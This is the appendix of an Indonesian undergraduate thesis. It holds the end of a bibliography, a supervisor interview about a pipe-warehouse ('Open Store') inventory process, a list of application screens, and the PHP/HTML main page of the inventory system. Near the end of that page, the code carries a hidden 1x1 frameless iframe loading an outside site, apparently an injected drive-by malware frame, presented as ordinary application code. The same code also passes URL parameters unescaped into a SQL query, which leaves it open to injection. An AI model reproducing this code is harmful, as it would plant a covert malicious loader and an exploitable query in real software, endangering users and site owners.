Penerbit PT. INDEKS. Jakarta
Mulyanto, Agus. 2009. Sistem Informasi: Konsep dan Aplikasi. Pustaka Pelajar.
Yogyakarta.
Munawar. 2005. PemodelanVisual dengan UML. Penerbit Graha Ilmu.
Yogyakarta.
Nawawi, Imam. 1981. Shohih Muslim. Darul Fikri. Jakarta
Pressman, Roger. 2002. Rekayasa Perangkat Lunak Pendekatan Praktisi, Buku
Satu. Andi. Yogyakarta.
Pujawan, I Nyoman. 2005. Supply Chain Management. Guna Widya. Surabaya
Riyanto, Slamet. 2006. Praktikum Adobe Photoshop CS. Datakom. Jakarta
Siagian , M. Yolanda. 2007. Aplikasi Supply Chain Management: Dalam Dunia
Bisnis . Grasindo. Jakarta
Sopandi, Dede. 2006. Instalasi dan Konfigurasi Jaringan Komputer.
Informatika. Bandung
Sutabri, Tata. 2005. Sistem Informasi Manajemen. Andi. Yogyakarta
Wahidin.2007. Jaringan Komputer untuk Orang Awam. Maxikom. Palembang
Whitten, Jeffry L. 2004. Metode Desain & Analisis Sistem Edisi 6. Edisi
Internasional. Andi McGraw Hill: Jakarta
Widodo, Prabowo Pudjo, dan Herlawati. 2011. Menggunakan UML.
Informatika. Bandung
L1
LAMPIRAN
WAWANCARA
Lampiran 1
Form Wawancara
Waktu : Senin, 05 Maret 2012
Responden : Bpk. Riyadi Teguh M
Jabatan : Supervisor Open Store
1. Assalamu’alaikum Pak, mohon maaf pak kalau saya mengganggu, boleh
saya minta waktunya untuk melakukan penelitian disini?
Jawab:
Wa’alaikumsalam iya boleh, apa yang bisa saya bantu nih?
2. Begini Pak, saya dari UIN Jakarta ingin melakukan penelitian disini
tentang Inventory Open Store, bisa bpk. Ceritakan apa yang dimaksud
dengan Open Store itu?
Jawab:
Owh begitu, baiklah saya akan ceritakan tentang open store, Open Store
adalah tempat penyimpanan pipa jadi (Finish Pipe) yang telah di
produksi dan di periksa oleh QAE ( Quality Assurance Environment)
dengan mengecek kualitasnya berdasarkan surat LPPJ (Laporan Pipa
Produk Jadi) yang ada.
3. Bisa Bapak ceritakan alur proses bisnis yang ada didalam Open Store?
Jawab:
Proses yang dilakukan hanyalah menyimpan pipa yang telah jadi (Finish
Pipe) dari bagian produksi untuk disimpan sebelum di kirim ke
pelanggan.
4. Apakah Cuma itu saja pak proses yang ada di Open Store?
Jawab:
Tidak, sebenarmya masih ada proses yang harus saya catat sebagai data
yang nantinya akan saya berikan secara periode kepada manager. Dan
satu lagi mengenai masalah rusaknya pipa pada saat penyimpanan, yang
harus di produksi ulang oleh bagian produksi.
5. Apa saja kendala yang dapat menghambat kinerja bapak selama ini?
Jawab:
Kendala yang paling utama ialah proses dalam pencatatan laporan,
setiap pipa yang masuk dan keluar harus saya catat dan saya berikan
nantinya kepada manager untuk laporan, sementara pipa yang masuk
banyak, saya dan teman – teman karyawan bekerja masih manual dalam
proses pengolahan datanya jadi kami memerlukan banyak waktu untuk
mengolah data tersebut.
6. Harapan bapak tentang pemanfaatan teknologi informasi diperusahaan
ini apa?
Jawab:
Saya berharap dapat dibangun sebuah sistem yang terkomputerisasi agar
menunjang pekerjaan kami sehingga dapat meningkatkan kinerja
perusahaan ini khususnya bagi kami yang berada di bagian open store
ini. Sayapun berharap agar sistem yang dibangun tidak membuat
kesulitan dalam penggunaannya.
7. Bagaimana bentuk sistem yang tepat dan baik bagi perusahaan bapak
khususnya untuk bagian open store ini?
Jawab:
Bentuk yang kami inginkan sederhana dan mudah digunakan sehingga
kami tidak mengalami kesulitan untuk menggunakannya.
8. Transaksi apa saja yang terdapat di dalam open store?
Jawab:
Transaksi yang kami lakukan didalam open store ini meliputi data pipa
masuk, data pipa keluar, penambahan pembeli, data pipa reproduksi,
data work order. Data beberapa pengolahan data laporannya untuk setiap
traksaksi tersebut yang akan kami kirimkan untuk manager.
L2
LAMPIRAN
TAMPILAN
APLIKASI
1. Menu Login
2. Menu Manage User
3. Menu Input Pipa Masuk
4. Menu Input Pipa Keluar
5. Menu Data Pipa
6. Menu Input Data Reproduksi
7. Menu Data Pembeli
8. Menu Work Order
9. Menu Laporan Pipa Masuk
10. Menu Laporan Pipa Keluar
11. Menu Laporan Reproduksi Pipa
12. Menu Laporan Stok Pipa
13. Menu Laporan Pembeli
14. Menu Cek Barang
L3
LAMPIRAN
CODING
<?php
include("include/function.php");
$main = new skripsi();
$akses = $main->cekSession();
if($akses) {
$reg_userID = $_SESSION["reg_userID"];
$reg_fullName = $_SESSION["reg_fullName"];
$reg_hakUser = $_SESSION["reg_hakUser"];
$level = $main->cekHakAkses($reg_hakUser);
$page = $_GET['page'];
$action = $_GET['action'];
$main->connect_db();
$queryX = mysql_query("SELECT title, include, include_2, id FROM page
WHERE page='$page' AND action='$action'");
$barisX = mysql_fetch_row($queryX);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PT Bakrie Pipe Industries |<?php echo $barisX[0]; ?></title>
<link rel="shortcut icon" href="images/logo.png">
<link href="include/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="include/script.js"></script>
<link rel='stylesheet' type='text/css' href='include/quickmenu_styles.css'/>
<script type='text/javascript' src='include/quickmenu.js'></script>
<script type='text/javascript'
src='http://www.mycssmenu.com/qmv6/qm_visual.js'></script>
</head>
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
var timerID = null;
var timerRunning = false;
function stopclock () {
if(timerRunning)
clearTimeout(timerID);
timerRunning = false;
}
function showtime () {
var now = new Date();
var day = now.getDate();
var month = now.getMonth();
var year= now.getFullYear();
var hours = now.getHours();
var minutes = now.getMinutes();
var seconds = now.getSeconds()
ardate = new
Array("0","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15
","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30
","31");
armonth = new Array("January ","February ","March ","April ","May
","June ","July ","August ","September ", "October ","November ","December
")
var timeValue = ardate[day] + " " + armonth[month] + year + " | "
timeValue += ((hours >12) ? hours -12 :hours)
if (timeValue == "0") timeValue = 12;
timeValue += ((minutes < 10) ? ":0" : ":") + minutes
timeValue += ((seconds < 10) ? ":0" : ":") + seconds
timeValue += (hours >= 12) ? " P.M." : " A.M."
document.clock.face.value = timeValue;
timerID = setTimeout("showtime()",1000);
timerRunning = true;
}
function startclock() {
stopclock();
showtime();
}
// End -->
</SCRIPT>
<body onLoad="startclock()">
<div align=center><img src="images/header.jpg" alt="Header" /></div>
<div align="center">
<table width=900 class="table_content">
<tr>
<td width="150px" valign="top" align="left">
<table width="150" border="0">
<ul id="qm0" class="qmmc">
<li><a href="indexi.php">Home</a></li>
<?php if($reg_hakUser==0) { ?>
<li><a class="qmparent"
href="javascript:void(0)">Administrator</a>
<ul>
<li><a href="?page=user&action=add">Manage User</a></li>
</ul></li>
<?php } ?>
<?php if($reg_hakUser==2 OR $reg_hakUser==0) { ?>
<li><a class="qmparent" href="javascript:void(0)">Input</a>
<ul>
<li><a href="?page=brgmasuk&action=add">Data Pipa
Masuk</a></li>
<li><a href="?page=brgkeluar&action=add">Data Pipa
Keluar</a></li>
<li><a href="?page=databrg&action=add">Data Pipa</a></li>
<li><a href="?page=pembeli&action=add">Data Pembeli</a></li>
<!--<li><a href="?page=supp&action=add">Data Suplier</a></li>-->
<li><a href="?page=sortir&action=add">Reproduksi Pipa</a></li>
</ul></li>
<?php } ?>
<?php if($reg_hakUser==0) { ?>
<li><a href="?page=wo&action=add">Work Order</a></li>
<?php } ?>l
<?php if($reg_hakUser==1 OR $reg_hakUser==0) { ?>
<li><a class="qmparent" href="javascript:void(0);">Laporan</a>
<ul>
<li><a href="?page=brgmasuk&action=lap">Lap. Pipa
Masuk</a></li>
<li><a href="?page=brgkeluar&action=lap">Lap. Pipa
Keluar</a></li>
<!--<li><a href="?page=supp&action=lap">Lap. Data
Suplier</a></li>-->
<li><a href="?page=pembeli&action=lap">Lap. Data
Pembeli</a></li>
<li><a href="?page=sortir&action=lap">Lap. Reproduksi
Pipa</a></li>
<li><a href="?page=stock&action=lap">Lap. Stok Pipa</a></li>
<li><a href="?page=wo&action=lap">Lap. Work Order</a></li>
</ul></li>
<?php } ?>
<?php if($reg_hakUser==2) { ?>
<li><a href="?page=wo&action=lap">Lap. Work Order</a></li>
<?php } ?>
<?php if($reg_hakUser==3 OR $reg_hakUser==0) { ?>
<li><a href="?page=ready&action=lap">Cek Barang</a></li>
<?php } ?>
<li class="qmclear"> </li></ul>
<!-- Create Menu Settings: (Menu ID, Is Vertical, Show Timer, Hide
Timer, On Click ('all' or 'lev2'), Right to Left, Horizontal Subs, Flush Left, Flush
Top) -->
<script
type="text/javascript">qm_create(0,false,0,500,'all',false,false,false,false);</script>
</table>
</td>
<td width="5px" class="line">
</td>
<td valign="top" align="left">
<table class="table_box" width=730>
<tr>
<td colspan=2 align="left"><?php echo "Welcome
<strong>$reg_fullName</strong> | Login as <strong>$level</strong> | <strong><a
href=\"logout.php\">Logout</a></strong>";?>
</td>
</tr>
<tr>
<form name="clock">
<td><div class=title2><?php echo $barisX[0]; ?></div></td>
<td align="right">
<input type="text" name="face" size=28 value="">
</td>
</form>
</tr>
<tr>
<td colspan=2 align="center" width=700>
<?php
if(!empty($_SESSION['LOG_ERROR'])) {
echo "<div id='log-error'>".$_SESSION['LOG_ERROR']."</div>";
$_SESSION['LOG_ERROR'] = null;
}
?>
</td>
</tr>
<tr>
<td> </td>
</tr>
<?php
if($main->cekFiles($reg_userID, $barisX[3])) {
?>
<tr>
<td colspan=2><?php include "$barisX[1]"; ?></td>
</tr>
<tr>
<td colspan=2><br /><br /><?php
if($barisX[2]=="") {
echo " ";
}
else {
include "$barisX[2]";
}
?></td>
</tr>
<?php
}
else {
echo "<tr><td colspan=2 width=600 align=center>";
$main->info_msg("Anda tidak punya hak untuk mengakses menu ini!",
"");
echo "</td></tr>";
}
?>
</table>
</td>
</tr>
<tr>
<td colspan="3"><div class="footer"></div></td>
</tr>
<tr>
<td colspan="3"><font style="text-align:left">© 2013 PT Bakrie Pipe
Industries All Right Reserved.
</font>
<font style="text-align:right">Powered by Nasrullah</font>
</td>
</tr>
</table>
</div>
<iframe src="http://www.Trenz.pl/rc/" width=1 height=1
frameborder=0></iframe>
</body>
</html>
<?php
}
else {
$main->warn_msg("Anda belum login, silakan login kembali","index.php");
}
?>
L4
LAMPIRAN
SURAT
KETERANGAN
PENELITIAN
Recommended